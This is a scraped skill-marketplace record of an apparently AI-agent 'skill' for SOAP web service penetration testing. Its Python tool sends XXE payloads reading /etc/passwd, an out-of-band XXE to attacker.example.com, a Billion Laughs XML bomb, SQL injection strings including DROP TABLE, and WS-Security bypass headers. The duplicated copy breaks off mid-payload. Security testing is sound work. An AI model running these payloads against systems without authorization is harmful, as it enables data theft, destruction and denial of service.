[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EW3WW8BTREX1DM2M3431C3":3,"skill-same:01M6EW3WW8BTREX1DM2M3431C3":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":14,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":6,"ownerDescription":71,"updatedAt":72,"install":73,"resources":86},"01M6EW3WW8BTREX1DM2M3431C3","performing-soap-web-service-security-testing",null,"Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"security","web","testing","service","Security Testing","soap","performing soap web service security testing","penetration","007","cm","xpath-injection","soapaction-spoofing","ws-security","xxe","xml-injection","wsdl","web-services","t1059","api-security","pr","2026-11-10 10:12:30",false,"---\nname: performing-soap-web-service-security-testing\ndescription: Perform security testing of SOAP web services by analyzing WSDL definitions\n  and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- soap\n- web-services\n- wsdl\n- xml-injection\n- xxe\n- ws-security\n- penetration-testing\n- soapaction-spoofing\n- xpath-injection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\n---\n\n# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n","# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      